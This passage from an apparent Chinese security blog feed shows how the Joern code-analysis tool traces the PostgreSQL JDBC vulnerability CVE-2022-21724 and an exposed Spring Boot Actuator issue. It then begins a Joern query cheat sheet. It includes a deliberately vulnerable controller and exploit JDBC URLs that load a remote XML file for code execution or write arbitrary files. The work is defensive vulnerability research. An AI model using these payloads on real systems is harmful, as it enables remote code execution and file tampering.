alt="img"></p><p>即便是读取了<strong>application.properties</strong>这个文件，但ConfigFile节点只有文件内容，并没有<strong>对所有的配置做分析转化</strong>。而且有时候configFile就是完全空的，也不知道问题在哪。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722781.png" alt="img"></p><p>这个处理方式虽然很奇怪但也算能理解，<strong>Joern作为一个静态分析代码的框架</strong>，他的理念就是把上层和下层做拆分，<strong>下层只需要把代码转成CPG，上层只需要在CPG上做数据分析。</strong></p><p>对于Joern来说，上层和下层没有直通渠道，非代码层面的信息则会被忽略掉，而专注于代码层面，这是Joern的设计理念，但同样是Joern的局限性。</p><ul><li>一方面由于<strong>没有pom.xml的数据</strong>，所以无法判断Acutators是否开启，且无法判断版本。</li><li>从SpringBoot 2.X开始，端点默认只暴露health和info，需要<strong>从配置文件里获取开启的端点</strong>，不一定能读到这个配置文件内容</li><li>Acutators这个问题核心其实是不能<strong>未授权+向公网暴露</strong>，而这个鉴权配置也是从配置文件里读到的</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.configFile.name(&quot;.*application.properties&quot;).where(_.content(&quot;.*management.security.enabled&#x3D;false.*&quot;)).l</span><br></pre></td></tr></table></figure><ul><li><strong>Acutators暴露的实际影响其实和依赖的组件</strong>有关系，比如配合eureka才有xtream反序列漏洞，而没有依赖组件数据，所以也无从判断。</li></ul><h1 id="postgreSQL-jdbc反序列化漏洞-CVE-2022-21724"><a href="#postgreSQL-jdbc反序列化漏洞-CVE-2022-21724" class="headerlink" title="postgreSQL jdbc反序列化漏洞(CVE-2022-21724)"></a>postgreSQL jdbc反序列化漏洞(CVE-2022-21724)</h1><ul><li><a href="https://xz.aliyun.com/t/11812" target="_blank" rel="noopener">https://xz.aliyun.com/t/11812</a></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">9.4.1208 &lt;&#x3D; org.postgresql.postgresql &lt; 42.2.25</span><br><span class="line">42.3.0 &lt;&#x3D; org.postgresql.postgresql &lt; 42.3.2</span><br></pre></td></tr></table></figure><p>当<strong>PostgreSQL的jdbc url属性</strong>可控时，可以通过<code>authenticationPluginClassName</code>、<code>sslhostnameverifier</code>、<code>socketFactory</code>、<code>sslfactory</code>、<code>sslpasswordcallback</code> 连接属性提供<strong>类名实例化插件实例</strong>。</p><ul><li>漏洞代码</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">@RequestMapping(&quot;&#x2F;postgresql&quot;)</span><br><span class="line">public void postgresql(String jdbcUrlBase64) throws Exception&#123;</span><br><span class="line">    byte[] b &#x3D; java.util.Base64.getDecoder().decode(jdbcUrlBase64);</span><br><span class="line">    String jdbcUrl &#x3D; new String(b);</span><br><span class="line">    log.info(jdbcUrl);</span><br><span class="line">    DriverManager.getConnection(jdbcUrl);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其实漏洞点的Joern的公式特别简单，说白了就是<strong>只要jdbc的连接链接可控</strong>就行了。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">def source &#x3D; cpg.method.where(_.annotation.name(&quot;.*Mapping&quot;)).parameter</span><br><span class="line"></span><br><span class="line">def sink &#x3D; cpg.call.name(&quot;getConnection&quot;)</span><br></pre></td></tr></table></figure><p>直接寻找source和sink之间的数据流</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sink.reachableByFlows(source).p</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722453.png" alt="img"></p><p>可以发现我们找到了包括目标在内的5条数据流，这里的第一个问题是，我们没法确定<strong>jdbc是否支持postgreSQL</strong>来作为数据库。</p><p>在确定了<strong>入口可控</strong>之后，<strong>理论上配合组件版本</strong>其实我们就可以判断代码中是否存在该问题了，但我们并没有这个数据。</p><h2 id="for-PostgreSQL-code"><a href="#for-PostgreSQL-code" class="headerlink" title="for PostgreSQL code"></a>for PostgreSQL code</h2><p>当然在静态分析的层面，我们需要从代码的角度验证漏洞存在，我们遇到的第二个问题自然是<strong>利用链的问题</strong>，所以我们需要直接去<strong>分析postgresql的组件代码</strong>。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">importCode(&quot;D:&#x2F;program&#x2F;java_pro&#x2F;postgresql-42.3.1.jar&quot;, &quot;postgresql&quot;)</span><br></pre></td></tr></table></figure><p>当我们可控jdbc的连接的时候，我们就可以通过<strong>构造类似的请求来调用不同类的方法</strong>来实现我们想要的结果。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"># 命令执行</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test&#x2F;?socketFactory&#x3D;org.springframework.context.support.ClassPathXmlApplicationContext&amp;socketFactoryArg&#x3D;http:&#x2F;&#x2F;test.joychou.org&#x2F;1.xml</span><br><span class="line"></span><br><span class="line"># 配合FileOutputStream操作文件</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test&#x2F;?socketFactory&#x3D;java.io.FileOutputStream&amp;socketFactoryArg&#x3D;test.txt</span><br><span class="line"></span><br><span class="line"># sslfactory&amp;sslfactroyarg，任意代码执行</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test&#x2F;?sslfactory&#x3D;org.spring.framework.context.support.ClassPathXmlApplicationContext&amp;sslfactoryarg&#x3D;http:&#x2F;&#x2F;test.joychou.org&#x2F;1.xml</span><br><span class="line"></span><br><span class="line"># loggerLevel&amp;loggerFile，任意文件写</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test?loggerLevel&#x3D;debug&amp;loggerFile&#x3D;test.txt&amp;test</span><br></pre></td></tr></table></figure><p>这里具体的利用链我们就不重复讲了，可以直接参考上面的链接，重要的是<strong>我们怎么在joern中复现这个问题。</strong></p><p>我们拿<strong>第一个漏洞socketFactory&amp;socketFactoryArg的利用链</strong>作为目标来看看</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722796.png" alt="img"></p><p>从getConnection方法处，j<strong>dbc会根据不同的请求分发至不同的组件</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722079.png" alt="img"></p><p><strong>从connect方法一路跟进org.postgresql的代码</strong>当中，<strong>链接之后的参数会被拆解为字典</strong>然后分别进入不同的配置中，也就是说等于到url这里我们就是可控的，也就是作为source，<strong>进到包里的这个入口是connect方法</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722400.png" alt="img"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">def source &#x3D; cpg.method.name(&quot;connect&quot;)</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722952.png" alt="img">最终<strong>导致漏洞的核心点则是可控的newInstance</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722885.png" alt="img"></p><p>所以我们假定<strong>调用方法newInstance是sink点</strong>，<strong>可以用caller获取调用该方法的地方</strong>，也是可以读到我们目标类方法的。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723923.png" alt="img"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">def sink &#x3D; cpg.method.name(&quot;newInstance&quot;)</span><br></pre></td></tr></table></figure><p>到这里我们会遇到一个比较大的问题，当我们<strong>试图用简单的reachableByFlows时</strong>，会无法获取到结果。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723926.png" alt="img"></p><p>但如果我们<strong>手动去一步一步拆解caller，发现是可以一路跟到source节点的。</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.name(&quot;newInstance&quot;).repeat(_.caller)(_.maxDepth(10)).name(&quot;connect&quot;).fullName.dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723832.png" alt="img"></p><p>repeat这个语法问题相当多，<strong>如果用repeat…until…这个语法，很大概率会卡死</strong>，几乎跑realworld代码没有不卡死的，所以我改用了<strong>限制maxDepth+条件判断的方式</strong>来查询，还算可以解决。</p><p>当然这样只能拿到最终的节点，我们可以<strong>用一个文档里没写的overflowdb语法enablePathTracking来展示调用链，这部分内容我是从@Lightless的博客偷来的。</strong></p><ul><li><a href="https://lightless.me/archives/analyze-apache-commons-text-with-joern.html" target="_blank" rel="noopener">https://lightless.me/archives/analyze-apache-commons-text-with-joern.html</a></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.name(&quot;newInstance&quot;).enablePathTracking.repeat(_.caller)(_.maxDepth(10)).name(&quot;connect&quot;).path.map(path&#x3D;&gt;path.filter(n&#x3D;&gt;n.isInstanceOf[Method]).map(n&#x3D;&gt;&#123;val nn &#x3D; n.asInstanceOf[Method];nn.fullName&#125;)).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723885.png" alt="img"></p><p>当然，<strong>由于enablePathTracking的表现力很差，所以我们也可以用自己实现一套repeat，来解决重复调用等各种问题</strong>，这个代码同样来自于@LightLess。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">def findUntil(initStep: Traversal[Method], stopStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] &#x3D; &#123;</span><br><span class="line">    var nextBuffer: List[Vector[Method]] &#x3D; List()</span><br><span class="line">    var finalResult: List[Vector[Method]] &#x3D; List()</span><br><span class="line">    var results: List[Vector[Method]] &#x3D; List()</span><br><span class="line">    val stopList &#x3D; stopStep.l</span><br><span class="line">    val stopIdList &#x3D; stopList.map(n &#x3D;&gt; n.id).l</span><br><span class="line">    println(&quot;stopList.size:&quot; + stopList.size)</span><br><span class="line">    println(&quot;stopIdList: &quot; + stopIdList)</span><br><span class="line"></span><br><span class="line">    for (idx &lt;- 1 to maxIdx) &#123;</span><br><span class="line">        &#x2F;&#x2F; 第一次查找，使用初始条件作为起始</span><br><span class="line">        if (idx &#x3D;&#x3D; 1) &#123;</span><br><span class="line">            for (it &lt;- initStep) &#123;</span><br><span class="line">                finalResult &#x3D; finalResult :+ Vector(it)</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        &#x2F;&#x2F; 处理 finalResult 中的每一条路径，取每条 path 的最后一项调用 caller</span><br><span class="line">        for (eachPath &lt;- finalResult) &#123;</span><br><span class="line">            </span><br><span class="line">            var eachPathIdList &#x3D; eachPath.filter(n &#x3D;&gt; n.isInstanceOf[Method]).map(n &#x3D;&gt; &#123;</span><br><span class="line">                n.asInstanceOf[Method].id</span><br><span class="line">            &#125;).l</span><br><span class="line"></span><br><span class="line">            var newNodes &#x3D; eachPath.last.asInstanceOf[Method].caller.dedup</span><br><span class="line">            for (newNode &lt;- newNodes) &#123;</span><br><span class="line">                &#x2F;&#x2F; 检查 newPath 是否存在环，如果存在，则跳过，如果不存在，加到结果列表中</span><br><span class="line">                if (!eachPathIdList.contains(newNode.id)) &#123;</span><br><span class="line">                    val newPath &#x3D; eachPath :+ newNode</span><br><span class="line">                    nextBuffer &#x3D; nextBuffer :+ newPath</span><br><span class="line"></span><br><span class="line">                    &#x2F;&#x2F; 检查是否满足终结条件，如果满足，就加到resutls里</span><br><span class="line">                    if (stopIdList.contains(newNode.id)) &#123;</span><br><span class="line">                        results &#x3D; results :+ newPath</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        &#x2F;&#x2F; 所有的路径都处理完了，结果放在 nextBuffer 中</span><br><span class="line">        finalResult &#x3D; nextBuffer</span><br><span class="line">        nextBuffer &#x3D; List()</span><br><span class="line">    &#125;</span><br><span class="line">    return results</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个findUntil实现了<strong>repeat…untail…times</strong>的功能，而且也做了<strong>一定的去重和优化</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def sink &#x3D; cpg.method.name(&quot;newInstance&quot;)</span><br><span class="line">def source &#x3D; cpg.method.name(&quot;connect&quot;)</span><br><span class="line"></span><br><span class="line">findUntil(sink, source, 10).map(path &#x3D;&gt; path.map(node &#x3D;&gt; (node.fullName))).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723509.png" alt="img"></p><p>虽然这里的函数调用链是正确的，但这里面有个很大的区别就是，<strong>通过repeat获取的节点非常粗暴，并不一定是成数据流。</strong></p><p>拿下面这段代码举例子，<strong>理论上来说数据流分析应该从ctor开始一点一点往上，一直找到classname参数，然后再到方法instantiate</strong>，但如果直接<strong>用caller会直接获取到instantiate方法，也就是直接到父节点</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723559.png" alt="img"></p><p>但事实上<strong>如果数据流追不到参数，实际上是数据流是不通的</strong>，这种方式太粗暴，有效度也不会太高。连数据流分析的层面都到不了，更别谈过程间分析了。</p><p>最关键的是，仔细研究后感觉<strong>这部分在joern中坑相当大，说白了就是Joern的CPG结构中其实没有这种执行流概念，节点之间链接只有AST指向，边的特性也没有明确的显示。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723540.png" alt="img"></p><p>用比较通俗的话讲，就是<strong>CPG更强调调用关系</strong>，就比如<strong>调用NewInstance方法的位置属于方法Instantiate的子节点</strong>，而<strong>具体到代码块执行流程，则只是简单的AST指向关系</strong>，<strong>除了有向边以外，也没有显示这种指向关系的特殊性。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723050.png" alt="img"></p><p>这方面的问题需要再花时间研究一下，这篇文章先不深入去讲。后面专门写文章研究这部分。</p><h2 id="其他利用链"><a href="#其他利用链" class="headerlink" title="其他利用链"></a>其他利用链</h2><p>我们仿照第一个利用链的语法，直接<strong>模拟一下其他几个利用链的挖掘方式</strong></p><ul><li><strong>任意代码执行 sslfactory/sslfactoryarg</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># sslfactory&amp;sslfactroyarg，任意代码执行</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test&#x2F;?sslfactory&#x3D;org.spring.framework.context.support.ClassPathXmlApplicationContext&amp;sslfactoryarg&#x3D;http:&#x2F;&#x2F;test.joychou.org&#x2F;1.xml</span><br></pre></td></tr></table></figure><p>对应的利用链其实和上一个是一样的，<strong>入口都是connect，漏洞点都是newinstance</strong>，这条利用链用上面的代码就可以查询到</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def sink &#x3D; cpg.method.name(&quot;newInstance&quot;)</span><br><span class="line">def source &#x3D; cpg.method.name(&quot;connect&quot;)</span><br><span class="line"></span><br><span class="line">findUntil(sink, source, 10).map(path &#x3D;&gt; path.map(node &#x3D;&gt; (node.fullName))).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723267.png" alt="img"></p><ul><li><strong>任意文件写入 loggerLevel/loggerFile</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># loggerLevel&amp;loggerFile，任意文件写</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test?loggerLevel&#x3D;debug&amp;loggerFile&#x3D;test.txt&amp;test</span><br></pre></td></tr></table></figure><p>这个漏洞的利用链相对特殊，其实是<strong>利用了logger本身的功能</strong>，通过<strong>配置log写入的文件来实现任意文件写</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723891.png" alt="img"></p><p>这里<strong>类初始化的操作在joern被标记为<init></strong>，所以sink为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.where(_.name(&quot;&lt;init&gt;&quot;)).where(_.fullName(&quot;.*FileHandler.*&quot;))</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723607.png" alt="img"></p><p>这样我们再次追利用链</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def sink &#x3D; cpg.method.where(_.name(&quot;&lt;init&gt;&quot;)).where(_.fullName(&quot;.*FileHandler.*&quot;))</span><br><span class="line">def source &#x3D; cpg.method.name(&quot;connect&quot;)</span><br><span class="line"></span><br><span class="line">findUntil(sink, source, 10).map(path &#x3D;&gt; path.map(node &#x3D;&gt; (node.fullName))).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723710.png" alt="img"></p><h2 id="完善利用链"><a href="#完善利用链" class="headerlink" title="完善利用链"></a>完善利用链</h2><p>在<strong>找到可控的**</strong>newInstance位置**之后，我们还需要继续完善利用链的最后一步。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723065.png" alt="img"></p><p>根据我们刚才找到的漏洞位置，我们需要找到<strong>一个对应的构造方法参数为一个String的类</strong>来做进一步利用。</p><p>在Joern中可以<strong>通过寻找构造函数的关键字，再限制方法的返回类型来寻找这样的类</strong>.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.where(_.isConstructor).whereNot(_.typeDecl.isAbstract).fullName(&quot;.*:void\\(java.lang.String\\).*&quot;).fullName.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723436.png" alt="img"></p><p>当然这里找到的类是不全的，这里的问题和前面类似。<strong>Joern不会解jar包里的jar包</strong>，所以无法<strong>跟进去分析整个项目的依赖</strong>，自然也就没办法找到完整的利用点，这里不赘述了</p><h2 id="修复"><a href="#修复" class="headerlink" title="修复"></a>修复</h2><p>这个漏洞的修复也相当粗暴，在我们找到的最终执行命令的初始化任意类的地方，<strong>新版本直接指定获取的类名必须是指定类的子类，直接限制了后续的利用条件</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723278.png" alt="img"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。&lt;/p&gt;
&lt;p&gt;这里我选用&lt;strong&gt;Java-sec-code的范例代码&lt;/strong&gt;做第一部分，这篇文章记录了两个比较经典的漏洞&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Springboot Acutators导致命令执行&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;postgreSQL jdbc反序列化漏洞(CVE-2022-21724)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包&lt;/p&gt;
&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;importCode(&amp;quot;..&amp;#x2F;..&amp;#x2F;java-sec-code&amp;#x2F;target&amp;#x2F;java-sec-code-1.0.0.jar&amp;quot;)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    
    <category term="java" scheme="https://lorexxar.cn/tags/java/"/>
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
  </entry>
  
  <entry>
    <title>深入浅出Joern（三）Joern和Neo4j常用语法大全</title>
    <link href="https://lorexxar.cn/2023/08/24/joern3/"/>
    <id>https://lorexxar.cn/2023/08/24/joern3/</id>
    <published>2023-08-24T08:03:49.000Z</published>
    <updated>2023-08-31T09:09:10.000Z</updated>
    
    <content type="html"><![CDATA[<p>前两篇文章主要讲了Joern相关技术的设计原理，以及CPG的实际表现</p><ul><li><a href="https://lorexxar.cn/2023/08/21/joern-and-cpg/">https://lorexxar.cn/2023/08/21/joern-and-cpg/</a></li><li><a href="https://lorexxar.cn/2023/08/22/joern2/">https://lorexxar.cn/2023/08/22/joern2/</a></li></ul><p>在研究Joern和Neo4j的过程中，我遇到了一个相当大的问题，就是由于我对<strong>OverflowDB包括scala和cypher语言</strong>都不熟。Joern和Neo4j分别支持这几种冷门语言，而相应的文档其实没有解决我的问题。</p><p>所以在继续研究Joern之前，先花时间简单记录<strong>一些Joern和Neo4j实用的语法和范例</strong>，给自己当个字典随时可以查阅。</p><a id="more"></a><h1 id="Joern"><a href="#Joern" class="headerlink" title="Joern"></a>Joern</h1><ul><li><a href="https://docs.joern.io/cpgql/reference-card/" target="_blank" rel="noopener">https://docs.joern.io/cpgql/reference-card/</a></li><li><a href="https://docs.joern.io/cpgql/node-type-steps/" target="_blank" rel="noopener">https://docs.joern.io/cpgql/node-type-steps/</a></li></ul><h2 id="节点获取"><a href="#节点获取" class="headerlink" title="节点获取"></a>节点获取</h2><ul><li><strong>cpg.method.name(‘xxx’)</strong></li><li><strong>cpg.method(‘xxx’)</strong></li></ul><p>寻找对应名字的方法定义的位置</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.method.name(<span class="string">"getRequestBody"</span>).l</span><br><span class="line">val res4: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(</span><br><span class="line">  Method(</span><br><span class="line">    id = <span class="number">15337L</span>,</span><br><span class="line">    astParentFullName = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    astParentType = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    code = <span class="string">"public static String getRequestBody(HttpServletRequest request) throws IOException"</span>,</span><br><span class="line">    columnNumber = Some(value = <span class="number">5</span>),</span><br><span class="line">    columnNumberEnd = Some(value = <span class="number">5</span>),</span><br><span class="line">    filename = <span class="string">"src\\main\\java\\org\\joychou\\util\\WebUtils.java"</span>,</span><br><span class="line">    fullName = <span class="string">"org.joychou.util.WebUtils.getRequestBody:&lt;unresolvedSignature&gt;(1)"</span>,</span><br><span class="line">    hash = <span class="literal">None</span>,</span><br><span class="line">    isExternal = false,</span><br><span class="line">    lineNumber = Some(value = <span class="number">13</span>),</span><br><span class="line">    lineNumberEnd = Some(value = <span class="number">16</span>),</span><br><span class="line">    name = <span class="string">"getRequestBody"</span>,</span><br><span class="line">    order = <span class="number">1</span>,</span><br><span class="line">    signature = <span class="string">"&lt;unresolvedSignature&gt;(1)"</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><ul><li><strong>cpg.call.name(‘xxx’)</strong></li><li><strong>cpg.call(‘xxx’)</strong></li></ul><p>寻找对应方法/函数调用的位置</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.call(<span class="string">"getRequestBody"</span>).take(<span class="number">1</span>).l</span><br><span class="line">val res7: List[io.shiftleft.codepropertygraph.generated.nodes.Call] = List(</span><br><span class="line">  Call(</span><br><span class="line">    id = <span class="number">8485L</span>,</span><br><span class="line">    argumentIndex = <span class="number">2</span>,</span><br><span class="line">    argumentName = <span class="literal">None</span>,</span><br><span class="line">    code = <span class="string">"getRequestBody(request)"</span>,</span><br><span class="line">    columnNumber = Some(value = <span class="number">22</span>),</span><br><span class="line">    dispatchType = <span class="string">"DYNAMIC_DISPATCH"</span>,</span><br><span class="line">    dynamicTypeHintFullName = ArraySeq(),</span><br><span class="line">    lineNumber = Some(value = <span class="number">25</span>),</span><br><span class="line">    methodFullName = <span class="string">"org.joychou.util.WebUtils.getRequestBody:&lt;unresolvedSignature&gt;(1)"</span>,</span><br><span class="line">    name = <span class="string">"getRequestBody"</span>,</span><br><span class="line">    order = <span class="number">2</span>,</span><br><span class="line">    possibleTypes = ArraySeq(),</span><br><span class="line">    signature = <span class="string">"&lt;unresolvedSignature&gt;(1)"</span>,</span><br><span class="line">    typeFullName = <span class="string">"java.lang.String"</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><ul><li><strong>cpg.annotation.name(“.*Mapping”)</strong></li><li><strong>cpg.annotation(“.*Mapping”)</strong></li></ul><p>寻找对应名字注解的节点</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.annotation.name(<span class="string">".*Mapping"</span>).take(<span class="number">1</span>).l</span><br><span class="line">val res10: List[io.shiftleft.codepropertygraph.generated.nodes.Annotation] = List(</span><br><span class="line">  Annotation(</span><br><span class="line">    id = <span class="number">2532L</span>,</span><br><span class="line">    argumentIndex = <span class="number">-1</span>,</span><br><span class="line">    argumentName = <span class="literal">None</span>,</span><br><span class="line">    code = <span class="string">"@RequestMapping(\"/safecode\")"</span>,</span><br><span class="line">    columnNumber = Some(value = <span class="number">5</span>),</span><br><span class="line">    fullName = <span class="string">"org.springframework.web.bind.annotation.RequestMapping"</span>,</span><br><span class="line">    lineNumber = Some(value = <span class="number">20</span>),</span><br><span class="line">    name = <span class="string">"RequestMapping"</span>,</span><br><span class="line">    order = <span class="number">7</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>在joern的节点你都可以非常简单的<strong>用点连接来获取对应节点连接的其他节点</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 